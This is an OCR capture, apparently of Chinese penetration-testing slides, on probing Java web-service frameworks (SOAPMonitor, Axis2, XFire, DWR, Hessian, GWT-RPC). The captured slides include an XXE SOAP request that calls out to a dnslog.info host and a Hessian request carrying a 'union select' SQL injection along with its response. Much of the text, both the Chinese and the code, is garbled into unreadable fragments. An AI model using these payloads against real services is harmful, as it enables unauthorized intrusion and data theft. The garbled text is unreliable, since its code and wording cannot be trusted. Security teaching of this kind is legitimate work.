<noembed>

SOAPMonitor

</object>
</body>

FkiHiTwebserviceEIE R, BAINFS, XEEFE—IRFFHLH

[AJRR

public void doGet (HttpServletRequ etR OException, ServletException {

“text/htal”):

1. FIAREE1E/SOAPMonitor , BIFRIBH I LIEEI— M EIAS
T | 2. IR AHEFF I ERIA 5001 i O TRISR(EH

printla( )

e. getfriter (). println(”

e SHINAHAT BB Epay loadi#H3
z:ﬁ::;“ :::(1:‘" bject classid=\"clsid:BADIC840—044E-11D1-B3E9—00805P499D93\" vidth=100% height=100% codebase=\"http://java. sun. cos 3' D E \—‘L N 13—'5]\—' A JEpay Oa L{j—rec

iter (). println("¢(parem neme=code velue=SOAPMonitorApplet. class>”)

response. getfriter(). println("(param name=\"type\” value=\"spplication/x—java—spplet:version=1.3\">")
response. getiriter (). println("(perem name=\"scriptable\” velue=\"false\">"):
onse. getiriter (). println("(parem neme=\"port\” value=\"" + port + "\">")
response. getiriter (). println("Ccomment>”):
response. getfriter(). println("Cembed type=\"application/x—java—spplet:version=1.3\" code=SOAPMonitorApplet. class width=100% height=100% port=\"" +
sponse. getiriter (). println(”
getiriter (). println(”
getiriter (). println(”
println(”
println(”
println(”<
println("¢/htal>”)

class mThread implements Runnable

private Socket socket = null
private ObjectInputStrean in = null:
private ObjectOutputStrean out = null

private boolean cl false:

public ConnectionThread(Soc!

utputSt

tInputStrean())
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C | © eemmisian@EENRY ¢

nd now... Some Services

o Publish /)

o removeAll
removeBylds
findByld
findList
findDefInfo
removeAllByState
modifyWaitState
modfiyLevel
publishWebsite
publishWebsite
publishColumn
publishColumn
publishChildColumn
publishChildColumn
createWebsitelndex
createWebsiteCollndex
createColumnsindex
createColumnsColindex
createChildColumnsindex
createChildColumnsColindex
findBuildQueueByWeb
WAAInterfac )
o findWebsites
o findColumns

©O 000 O0O0OOO0OOOOOOO0O0OO0OO0O0OO 0

@

public class 7AAInt {
private String strAppID = "17;

private String idtime = null;

public

1
h

public String

waad”)
Sql = "SELECT i_id, vc_catansme,i_psrentid, b_visit FROM jcms_cataloginfo VHERE i_v
his. strAppID, strSql):

data. length > 0) {

i < data. lemgth; ++) {
olumn id=\"" + data[i][0
ule type=\"1\">/col/col” + dat ] + "/index. html</rule>”);
ule type=\"1\">/art/*/axt_" + da 0] + "_*_html</rule>”);

[0] + "\" name=\"" + datali][1] + "\" parid=\"" + data[il[2]

"|AND i_style<>0”;

+ "\" statistic=\"" + datali

AXis2

TR IE BT axis2eZaxisKMmAIIRSS, Mgt B, K%
NREREE, MEEIRARINER EHEEXmISRENFR

1. AR Agwebservicel&1R, tbll/services/s& /serviet/AxisServlet
2. WRrEEOXNMNASHITEIT, BERAER FEbE—XIM
3. {EhAtaiExxe payloadAT LU I TimiENH

POST /jsoa/services/ProcessService HITP/1.1
Content-Type: text/xml; charset=UTF-8
SOAPAction: "urn:anonOutInOp”

User-Agent: Axis?2

Host: eplinsanosessss

Content-Length: 123

encoding="UITF-8"
“http://axis2| 88d100. dnslog. info" >¥remote;]

<?xml version="1.0"

<IDOCTYPE root [<!ENTITY % remote SYSIEM



E K BHE2-webservice :

il

Xfire

Webkha=s, BEELER, BEERE RS, Ewebservice b
BB FEXMISTAREN

1. 7afRE& R /services, BEXIMAIwebservicesiz[
2. Mi&Epayload £ FERXmISLIEAN




S FIEIT- dwr

<init-param>
<param-name>debug</param-name>
<param-value>true</param-value>
</init-param> , . .
<servlet-mapping>
<servlet-name>dwr-invoker</servlet-name>
<url-pattern>/dwr/*</url-pattern>
. </servlet-mapping>

web.xml

<create javascri

<param name=
</create>

pt="commonparams"” creator="new.'> .
"class" value="com.example.dwr.commontest. CommonParams" />

dwr.xml



EOEAZEIC-dwr

Headers | Hex

allicommonparams, ptringTest|dwr HTTP/1.1

0 (Windows NT 10.0; Win64, x64; rv.56.0) Gecko/20100101 Firefox/56.0

- oloos 1. SCRRAYM L Ao debugE N 2RI, HIIMEBENXHAELISUFENERNA
B,559/exec/F0/dwr

FrERRRCEIbERRRERARrRaTETe 2. FITAILIERADBANEREAMER, EIRANFERRAtISaE avaiZOiE
FRRIERETER

3. Mub&fmdwrizl, BEHERENER, 88REtRE, WA, &E

ZFapifz

A4 NRSEEBAHERR, TLUEINAdwrEO=SSol, ARRERIFE]
B S AR RIS _EER




BOMAES hessian . DO

<beans xmlns="http://www. springframework.org/schema/beans”

' xmlns:xsi= “http //www.w3.0rg/2001/XMLSchema-instance"
xmlns:aop="http://www.springframework.org/schema/aop"
xmlns:tx="http://www.springframework.org/schema/tx"
xsi:schemalocation=" '

http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans-2.0.xsd

http://www.springframework.org/schema/tx
http://www.springframework.org/schema/tx/spring-tx-2.0. xsd

http://www.springframework.org/schema/aop
http://www.springframework.org/schema/aop/spring-aop-2.0.xsd" >

<servlet-mapping>
<servlet-name>
He55|anSpr|ngInvokeSerwce
. </servlet-name>
<url-pattern>/* hessian</url-pattern>
_</servlet-mapping> <I-- hessmnﬂl?z%J_Jisprmg,J\ Bk -->
<bean id ="EncryptService.hessian" class

="com.ufgov.admin.license.svc.EncryptServicelmpl">
web.xml lezas
: </beans>




@ :=nimEic nessian

c12m Ll getmodelCodelnfo| 1" union select USER,NULL,NULL NULLNULL from dual -- sd

/

POST /admin license/EncryptService hessian HTTP/1.1 HTTP/1.1 200 Ol

Host SEErrmaeetin, Connection: close

User-Agent: Mozilla/5.0 (Windows NT 10.0, WOW64, rv.54.0) Gecko/20100101 Firefox/54.0 Date: Thu, 20 Jul 2017 15:00:06 GMT
Accept: text/ntml application/xhtmi+xml application/xml;q=0.9 */*,q=0.8 Content-Type: application/x-hessian
Accept-Language: zh-CN zh;q=0.8 qQ=0.5 3 {-Powered-By. Servlet/2.5 JSP/2.1
Accept-Encoding: gzip, deflate Content-Length: 29

Content-Type: application/x-www-form-urlencoded
Cookie: JSESSIONID=nKdek72dMNTvchYUL22-T|IBBe6530AXx Fig5fy!-1371396500 HOROZAJW:null:null:null:null
Connection: close —
Upgrade-Insecure-Requests: 1
Content-Length: 82

c12mOgetmodelCodelnfoS81' union select USER NULL NULL NULL NULL from dual -- sdz

ngth: 82cCm
ZgetmodelCodeln
foS81" union se
lect USER,NULL,N
ULL, NULfONULL fr
om dual - sdz




EOERAEIC-gwt

<servlet>

<servlet-name>greetServlet</servlet-name >

<servlet-class>
com.google.gwt.sample.validation.server.GreetingServicelmpl
</servlet-class>

</servlet>

<servlet-mapping>
<servlet-name>greetServlet</servlet-name >
<url-pattern>/gwtrpcservlet</url-pattern>
</servlet-mapping>

web.xml

R . http
Content-Length:
UM_dist
DATA126121861

rvice|greetServerjcom.google.gwt.sample.validation.shared.Person/2669394933|11111]1]2|3}4|

5/0/6]0JA|




HEHLgE

%

=& EFIzHessianF £ 122

Weblogic FF{YREC(CVE-2018-2628)

SUSEITRFIZTHINKPHP3 2FF EiEZE

SUSEIT RS ZTHINKPHPF &iE2E

i codeweb

WebLogic

ThinkPHP’

ThinkPHP*

SifEEIT 2512 Apache-solrigzs

SSEITREFIZDWRAREIER:

SSEITFE7Izdorado5FAHESE
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